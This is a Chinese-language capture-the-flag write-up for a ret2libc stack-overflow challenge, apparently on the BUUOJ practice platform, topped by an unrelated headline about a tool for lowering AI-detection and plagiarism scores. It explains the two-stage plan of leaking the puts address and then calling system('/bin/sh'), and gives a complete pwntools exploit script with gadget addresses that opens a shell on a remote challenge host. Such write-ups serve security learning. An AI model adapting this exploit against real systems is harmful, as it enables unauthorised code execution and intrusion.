学妹问AI率60%重复率30%怎么办?这款降AI工具一次同时降AI降重
2026/5/16 14:51:08
使用checksec查看
由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc
需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数
payload1:
先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器
然后调用 puts 函数,打印puts_got中存储的 puts 真实地址
puts 执行完后跳回 main 函数,重新触发输入提示(方便发送第二个 Payload)
然后计算 libc 基址与目标地址
payload2:
溢出后使用ret来调整栈为 16 字节对齐
然后通过pop rdi;ret来将/bin/sh地址传入rdi寄存器
最后调用system函数来执行system("/bin/sh")
main函数地址为0x400698
通过read函数可以溢出buf缓冲区,只需要0x20+0x8个字节
pop rdi;ret 地址: 0x400763
ret地址: 0x400506
这里选择的9
远程连接选择的1
from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./ret2libc') p = remote('node5.buuoj.cn',26594) elf = ELF('./ret2libc') pop_rdi_addr = 0x400763 ret_addr = 0x400506 main_addr =0x400698 puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload1 = b'a'*(0x20+8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Show me your magic again\n",payload1) p.recvuntil(b'See you next time\n') puts_addr = u64(p.recvline().strip().ljust(8, b'\x00')) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Show me your magic again\n",payload2) p.interactive()